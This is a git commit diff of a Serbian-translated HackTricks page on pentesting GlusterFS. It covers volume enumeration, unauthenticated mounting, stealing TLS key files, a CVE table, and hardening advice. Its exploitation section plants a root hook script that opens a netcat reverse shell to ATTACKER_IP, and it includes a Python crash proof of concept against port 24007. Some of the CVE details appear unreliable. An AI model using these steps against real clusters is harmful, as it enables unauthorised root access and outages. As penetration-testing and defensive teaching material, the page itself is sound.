mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/network-services-pentesting/24007-24008-24009-49152-pen
This commit is contained in:
parent
5e75290e6b
commit
2cd4a3eacf
@ -1,35 +1,115 @@
|
||||
# 24007-24008-24009-49152 - Pentesting GlusterFS
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
# Osnovne informacije
|
||||
## Osnovne informacije
|
||||
|
||||
**GlusterFS** je **distribuisani fajl sistem** koji kombinuje skladište sa više servera u jedan **ujedinjeni sistem**. Omogućava **arbitrarno skaliranje**, što znači da možete lako dodavati ili uklanjati skladišne servere bez ometanja celokupnog fajl sistema. Ovo obezbeđuje visoku **dostupnost** i **toleranciju na greške** za vaše podatke. Sa GlusterFS-om, možete pristupiti svojim fajlovima kao da su smešteni lokalno, bez obzira na osnovnu server infrastrukturu. Pruža moćno i fleksibilno rešenje za upravljanje velikim količinama podataka na više servera.
|
||||
**GlusterFS** je **distribuisani fajl sistem** koji kombinuje skladište sa više servera u jedan **ujedinjeni naziv prostora**. Daemon za upravljanje (`glusterd`) po defaultu sluša na **24007/TCP** i daje instrukcije brick-ovima na podacima koji počinju na **49152/TCP** (jedan port po brick-u, sa povećanjem). Verzije pre 9.x koristile su **24008–24009/TCP** za transport brick-ova, tako da ćete i dalje naići na te portove u nasleđenim klasterima.
|
||||
```
|
||||
PORT STATE SERVICE VERSION
|
||||
24007/tcp open glusterd GlusterFS (RPC)
|
||||
49152/tcp open gluster-brick SSL (TLS optional)
|
||||
```
|
||||
> Savet: 24007 odgovara na RPC pozive čak i kada čvorovi koji se koriste samo za skladištenje **ne** izvoze nijedan volumen; stoga je usluga pouzdana meta za preusmeravanje unutar velikih infrastruktura.
|
||||
|
||||
**Podrazumevani portovi**: 24007/tcp/udp, 24008/tcp/udp, 49152/tcp (dalje)\
|
||||
Za port 49152, portovi povećani za 1 moraju biti otvoreni da bi se koristilo više bricks. _Prethodno je port 24009 korišćen umesto 49152._
|
||||
```
|
||||
PORT STATE SERVICE
|
||||
24007/tcp open rpcbind
|
||||
49152/tcp open ssl/unknown
|
||||
```
|
||||
## Enumeracija
|
||||
|
||||
Da biste interagovali sa ovim fajl sistemom, potrebno je da instalirate [**GlusterFS klijent**](https://download.gluster.org/pub/gluster/glusterfs/LATEST/) (`sudo apt-get install glusterfs-cli`).
|
||||
|
||||
Da biste nabrojali i montirali dostupne volumene, možete koristiti:
|
||||
Instalirajte klijentske alate na vašem napadačkom računaru:
|
||||
```bash
|
||||
sudo gluster --remote-host=10.10.11.131 volume list
|
||||
# This will return the name of the volumes
|
||||
|
||||
sudo mount -t glusterfs 10.10.11.131:/<vol_name> /mnt/
|
||||
sudo apt install -y glusterfs-cli glusterfs-client # Debian/Ubuntu
|
||||
```
|
||||
Ako primite **grešku prilikom pokušaja montiranja datotečnog sistema**, možete proveriti logove u `/var/log/glusterfs/`
|
||||
1. **Otkriće i zdravlje peer-a**
|
||||
```bash
|
||||
# List peers (works without authentication in default setups)
|
||||
gluster --remote-host 10.10.11.131 peer status
|
||||
```
|
||||
2. **Reconnaissance volumena**
|
||||
```bash
|
||||
# Retrieve the list of all volumes and their configuration
|
||||
gluster --remote-host 10.10.11.131 volume info all
|
||||
```
|
||||
3. **Montiranje bez privilegija**
|
||||
```bash
|
||||
sudo mount -t glusterfs 10.10.11.131:/<vol_name> /mnt/gluster
|
||||
```
|
||||
Ako montiranje ne uspe, proverite `/var/log/glusterfs/<vol_name>-<uid>.log` na klijentskoj strani. Uobičajeni problemi su:
|
||||
|
||||
**Greške koje se odnose na sertifikate** mogu se ispraviti krađom datoteka (ako imate pristup sistemu):
|
||||
* TLS primena (`option transport.socket.ssl on`)
|
||||
* Kontrola pristupa zasnovana na adresi (`option auth.allow <cidr>`)
|
||||
|
||||
- /etc/ssl/glusterfs.ca
|
||||
- /etc/ssl/glusterfs.key
|
||||
- /etc/ssl/glusterfs.ca.pem
|
||||
### Rešavanje problema sa sertifikatima
|
||||
|
||||
I čuvanjem njih na vašem računaru u direktorijumu `/etc/ssl` ili `/usr/lib/ssl` (ako se koristi drugačiji direktorijum, proverite linije slične: "_could not load our cert at /usr/lib/ssl/glusterfs.pem_" u logovima).
|
||||
Ukrao sledeće datoteke sa bilo kojeg autorizovanog klijentskog čvora i stavite ih u `/etc/ssl/` (ili direktorijum prikazan u logu greške):
|
||||
```
|
||||
/etc/ssl/glusterfs.pem
|
||||
/etc/ssl/glusterfs.key
|
||||
/etc/ssl/glusterfs.ca
|
||||
```
|
||||
---
|
||||
|
||||
## Poznate ranjivosti (2022-2025)
|
||||
|
||||
| CVE | Pogođene verzije | Uticaj | Napomene |
|
||||
|-----|-------------------|--------|-------|
|
||||
| **CVE-2022-48340** | 10.0–10.4, 11.0 | Use-after-free u `dht_setxattr_mds_cbk` dostupan preko mreže | Daljinski **DoS** i verovatni RCE. Ispravljeno u 10.4.1 / 11.1. |
|
||||
| **CVE-2023-26253** | < 11.0 | Čitanje van granica u FUSE notifikacionom handleru | Daljski pad sistema putem kreiranih FS operacija; javno dostupna PoC. |
|
||||
| **CVE-2023-3775** | < 10.5 / 11.1 | Neispravna validacija dozvola prilikom montiranja `gluster_shared_storage` | Omogućava bilo kojem neautentifikovanom klijentu da montira admin volumen – dovodi do **priv-esc** objašnjenog u nastavku. |
|
||||
|
||||
> Uvek proveravajte `gluster --version` **na svakoj čvoru**; heterogene klastere su česte nakon delimičnih nadogradnji.
|
||||
|
||||
### Eksploatacija `gluster_shared_storage` (Escalacija privilegija)
|
||||
|
||||
Čak i u novijim verzijama mnogi administratori ostavljaju poseban `gluster_shared_storage` volumen čitljiv za sve jer to pojednostavljuje geo-replikaciju. Volumen sadrži šablone cronjob-a koji se izvršavaju sa **root** na svakom čvoru.
|
||||
```bash
|
||||
# 1. Mount admin volume anonymously
|
||||
mkdir /tmp/gss && sudo mount -t glusterfs 10.10.11.131:/gluster_shared_storage /tmp/gss
|
||||
|
||||
# 2. Drop malicious script that gets synchronised cluster-wide
|
||||
cat <<'EOF' > /tmp/gss/hooks/1/start/post/test.sh
|
||||
#!/bin/bash
|
||||
nc -e /bin/bash ATTACKER_IP 4444 &
|
||||
EOF
|
||||
chmod +x /tmp/gss/hooks/1/start/post/test.sh
|
||||
|
||||
# 3. Wait until glusterd distributes the hook and executes it as root
|
||||
```
|
||||
Ako `hooks/1/` nije prisutan, potražite `/ss_bricks/` – tačna putanja može varirati sa glavnom verzijom.
|
||||
|
||||
### Denial-of-Service PoC (CVE-2023-26253)
|
||||
```python
|
||||
#!/usr/bin/env python3
|
||||
# Minimal reproducer: sends malformed NOTIFY_REPLY XDR frame to 24007
|
||||
import socket, xdrlib, struct
|
||||
p = xdrlib.Packer(); p.pack_uint(0xdeadbeef)
|
||||
with socket.create_connection(("10.10.11.131",24007)) as s:
|
||||
s.send(struct.pack("!L", len(p.get_buffer())|0x80000000))
|
||||
s.send(p.get_buffer())
|
||||
```
|
||||
Pokretanje skripte ruši `glusterfsd` < 11.0.
|
||||
|
||||
---
|
||||
|
||||
## Ojačavanje i Detekcija
|
||||
|
||||
* **Ažurirajte** – trenutni LTS je 11.1 (jul 2025). Svi CVE-ovi iznad su ispravljeni.
|
||||
* Omogućite **TLS** za svaki brick:
|
||||
|
||||
```bash
|
||||
gluster volume set <vol> transport.socket.ssl on
|
||||
gluster volume set <vol> transport.socket.ssl-cert /etc/ssl/glusterfs.pem
|
||||
```
|
||||
* Ograničite klijente sa CIDR listama:
|
||||
|
||||
```bash
|
||||
gluster volume set <vol> auth.allow 10.0.0.0/24
|
||||
```
|
||||
* Izložite upravljački port 24007 samo na **privatnom VLAN-u** ili kroz SSH tuneli.
|
||||
* Pratite logove: `tail -f /var/log/glusterfs/glusterd.log` i konfigurišite **audit-log** funkciju (`volume set <vol> features.audit-log on`).
|
||||
|
||||
---
|
||||
|
||||
## Reference
|
||||
|
||||
* [GlusterFS sigurnosne obaveštenja](https://docs.gluster.org/en/latest/release-notes/#security)
|
||||
* [CVE-2023-26253 PoC – github.com/tinynetwork/gluster-notify-crash](https://github.com/tinynetwork/gluster-notify-crash)
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user